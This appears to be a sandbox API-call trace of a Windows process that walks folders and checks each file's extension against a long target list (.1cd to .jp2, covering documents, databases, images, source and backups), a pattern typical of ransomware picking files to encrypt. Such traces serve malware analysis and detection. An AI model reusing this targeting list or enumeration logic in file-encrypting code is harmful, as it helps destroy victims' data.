	[0176.084] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.084] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0176.085] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.086] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0176.086] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.087] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0176.087] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.087] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0176.088] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.088] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0176.089] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.089] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0176.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.090] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0176.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.113] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0176.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.113] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1
	[0176.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.114] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0176.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.114] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0176.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.114] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0176.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.115] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0176.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.115] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0176.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.115] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0176.115] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0176.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0176.118] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7962, dwReserved0=0x0, dwReserved1=0x0, cFileName="multi-tab-file-view-2x.png", cAlternateFileName="MULTI-~2.PNG")) returned 1
	[0176.118] lstrlenW (lpString="multi-tab-file-view-2x.png") returned 26
	[0176.118] lstrlenW (lpString=".1cd") returned 4
	[0176.118] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0176.118] lstrlenW (lpString=".3ds") returned 4
	[0176.118] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0176.118] lstrlenW (lpString=".3fr") returned 4
	[0176.118] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0176.118] lstrlenW (lpString=".3g2") returned 4
	[0176.118] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0176.118] lstrlenW (lpString=".3gp") returned 4
	[0176.118] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0176.118] lstrlenW (lpString=".7z") returned 3
	[0176.118] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0176.118] lstrlenW (lpString=".accda") returned 6
	[0176.118] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1
	[0176.118] lstrlenW (lpString=".accdb") returned 6
	[0176.118] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1
	[0176.118] lstrlenW (lpString=".accdc") returned 6
	[0176.118] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1
	[0176.118] lstrlenW (lpString=".accde") returned 6
	[0176.118] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1
	[0176.119] lstrlenW (lpString=".accdt") returned 6
	[0176.119] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1
	[0176.119] lstrlenW (lpString=".accdw") returned 6
	[0176.119] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1
	[0176.119] lstrlenW (lpString=".adb") returned 4
	[0176.119] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".adp") returned 4
	[0176.119] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".ai") returned 3
	[0176.119] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0176.119] lstrlenW (lpString=".ai3") returned 4
	[0176.119] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".ai4") returned 4
	[0176.119] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".ai5") returned 4
	[0176.119] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".ai6") returned 4
	[0176.119] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".ai7") returned 4
	[0176.119] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".ai8") returned 4
	[0176.119] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".anim") returned 5
	[0176.119] lstrcmpiW (lpString1=".anim", lpString2="x.png") returned -1
	[0176.119] lstrlenW (lpString=".arw") returned 4
	[0176.119] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1
	[0176.119] lstrlenW (lpString=".as") returned 3
	[0176.120] lstrcmpiW (lpString1=".as", lpString2="png") returned -1
	[0176.120] lstrlenW (lpString=".asa") returned 4
	[0176.120] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".asc") returned 4
	[0176.120] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".ascx") returned 5
	[0176.120] lstrcmpiW (lpString1=".ascx", lpString2="x.png") returned -1
	[0176.120] lstrlenW (lpString=".asm") returned 4
	[0176.120] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".asmx") returned 5
	[0176.120] lstrcmpiW (lpString1=".asmx", lpString2="x.png") returned -1
	[0176.120] lstrlenW (lpString=".asp") returned 4
	[0176.120] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".aspx") returned 5
	[0176.120] lstrcmpiW (lpString1=".aspx", lpString2="x.png") returned -1
	[0176.120] lstrlenW (lpString=".asr") returned 4
	[0176.120] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".asx") returned 4
	[0176.120] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".avi") returned 4
	[0176.120] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".avs") returned 4
	[0176.120] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1
	[0176.120] lstrlenW (lpString=".backup") returned 7
	[0176.120] lstrcmpiW (lpString1=".backup", lpString2="-2x.png") returned -1
	[0176.120] lstrlenW (lpString=".bak") returned 4
	[0176.121] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".bay") returned 4
	[0176.121] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".bd") returned 3
	[0176.121] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1
	[0176.121] lstrlenW (lpString=".bin") returned 4
	[0176.121] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".bmp") returned 4
	[0176.121] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".bz2") returned 4
	[0176.121] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".c") returned 2
	[0176.121] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1
	[0176.121] lstrlenW (lpString=".cdr") returned 4
	[0176.121] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".cer") returned 4
	[0176.121] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".cf") returned 3
	[0176.121] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1
	[0176.121] lstrlenW (lpString=".cfc") returned 4
	[0176.121] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".cfm") returned 4
	[0176.121] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1
	[0176.121] lstrlenW (lpString=".cfml") returned 5
	[0176.121] lstrcmpiW (lpString1=".cfml", lpString2="x.png") returned -1
	[0176.121] lstrlenW (lpString=".cfu") returned 4
	[0176.122] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".chm") returned 4
	[0176.122] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".cin") returned 4
	[0176.122] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".class") returned 6
	[0176.122] lstrcmpiW (lpString1=".class", lpString2="2x.png") returned -1
	[0176.122] lstrlenW (lpString=".clx") returned 4
	[0176.122] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".config") returned 7
	[0176.122] lstrcmpiW (lpString1=".config", lpString2="-2x.png") returned -1
	[0176.122] lstrlenW (lpString=".cpp") returned 4
	[0176.122] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".cr2") returned 4
	[0176.122] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".crt") returned 4
	[0176.122] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1
	[0176.122] lstrlenW (lpString=".crw") returned 4
	[0176.122] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1
	[0176.123] lstrlenW (lpString=".cs") returned 3
	[0176.123] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1
	[0176.123] lstrlenW (lpString=".css") returned 4
	[0176.123] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1
	[0176.123] lstrlenW (lpString=".csv") returned 4
	[0176.123] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1
	[0176.123] lstrlenW (lpString=".cub") returned 4
	[0176.123] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1
	[0176.123] lstrlenW (lpString=".dae") returned 4
	[0176.123] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1
	[0176.123] lstrlenW (lpString=".dat") returned 4
	[0176.123] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1
	[0176.123] lstrlenW (lpString=".db") returned 3
	[0176.123] lstrcmpiW (lpString1=".db", lpString2="png") returned -1
	[0176.123] lstrlenW (lpString=".dbf") returned 4
	[0176.124] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dbx") returned 4
	[0176.124] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dc3") returned 4
	[0176.124] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dcm") returned 4
	[0176.124] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dcr") returned 4
	[0176.124] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".der") returned 4
	[0176.124] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dib") returned 4
	[0176.124] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dic") returned 4
	[0176.124] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".dif") returned 4
	[0176.124] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1
	[0176.124] lstrlenW (lpString=".divx") returned 5
	[0176.124] lstrcmpiW (lpString1=".divx", lpString2="x.png") returned -1
	[0176.124] lstrlenW (lpString=".djvu") returned 5
	[0176.124] lstrcmpiW (lpString1=".djvu", lpString2="x.png") returned -1
	[0176.125] lstrlenW (lpString=".dng") returned 4
	[0176.125] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".doc") returned 4
	[0176.125] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".docm") returned 5
	[0176.125] lstrcmpiW (lpString1=".docm", lpString2="x.png") returned -1
	[0176.125] lstrlenW (lpString=".docx") returned 5
	[0176.125] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1
	[0176.125] lstrlenW (lpString=".dot") returned 4
	[0176.125] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".dotm") returned 5
	[0176.125] lstrcmpiW (lpString1=".dotm", lpString2="x.png") returned -1
	[0176.125] lstrlenW (lpString=".dotx") returned 5
	[0176.125] lstrcmpiW (lpString1=".dotx", lpString2="x.png") returned -1
	[0176.125] lstrlenW (lpString=".dpx") returned 4
	[0176.125] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".dqy") returned 4
	[0176.125] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".dsn") returned 4
	[0176.125] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".dt") returned 3
	[0176.125] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1
	[0176.125] lstrlenW (lpString=".dtd") returned 4
	[0176.125] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1
	[0176.125] lstrlenW (lpString=".dwg") returned 4
	[0176.126] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".dwt") returned 4
	[0176.126] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".dx") returned 3
	[0176.126] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1
	[0176.126] lstrlenW (lpString=".dxf") returned 4
	[0176.126] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".edml") returned 5
	[0176.126] lstrcmpiW (lpString1=".edml", lpString2="x.png") returned -1
	[0176.126] lstrlenW (lpString=".efd") returned 4
	[0176.126] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".elf") returned 4
	[0176.126] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".emf") returned 4
	[0176.126] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".emz") returned 4
	[0176.126] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".epf") returned 4
	[0176.126] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".eps") returned 4
	[0176.126] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1
	[0176.126] lstrlenW (lpString=".epsf") returned 5
	[0176.126] lstrcmpiW (lpString1=".epsf", lpString2="x.png") returned -1
	[0176.127] lstrlenW (lpString=".epsp") returned 5
	[0176.127] lstrcmpiW (lpString1=".epsp", lpString2="x.png") returned -1
	[0176.127] lstrlenW (lpString=".erf") returned 4
	[0176.127] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".exr") returned 4
	[0176.127] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".f4v") returned 4
	[0176.127] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".fido") returned 5
	[0176.127] lstrcmpiW (lpString1=".fido", lpString2="x.png") returned -1
	[0176.127] lstrlenW (lpString=".flm") returned 4
	[0176.127] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".flv") returned 4
	[0176.127] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".frm") returned 4
	[0176.127] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".fxg") returned 4
	[0176.127] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".geo") returned 4
	[0176.127] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".gif") returned 4
	[0176.127] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".grs") returned 4
	[0176.127] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".gz") returned 3
	[0176.127] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1
	[0176.127] lstrlenW (lpString=".h") returned 2
	[0176.127] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1
	[0176.127] lstrlenW (lpString=".hdr") returned 4
	[0176.127] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1
	[0176.127] lstrlenW (lpString=".hpp") returned 4
	[0176.127] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".hta") returned 4
	[0176.128] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".htc") returned 4
	[0176.128] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".htm") returned 4
	[0176.128] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".html") returned 5
	[0176.128] lstrcmpiW (lpString1=".html", lpString2="x.png") returned -1
	[0176.128] lstrlenW (lpString=".icb") returned 4
	[0176.128] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".ics") returned 4
	[0176.128] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".iff") returned 4
	[0176.128] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".inc") returned 4
	[0176.128] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".indd") returned 5
	[0176.128] lstrcmpiW (lpString1=".indd", lpString2="x.png") returned -1
	[0176.128] lstrlenW (lpString=".ini") returned 4
	[0176.128] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".iqy") returned 4
	[0176.128] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".j2c") returned 4
	[0176.128] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".j2k") returned 4
	[0176.128] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".java") returned 5
	[0176.128] lstrcmpiW (lpString1=".java", lpString2="x.png") returned -1
	[0176.128] lstrlenW (lpString=".jp2") returned 4
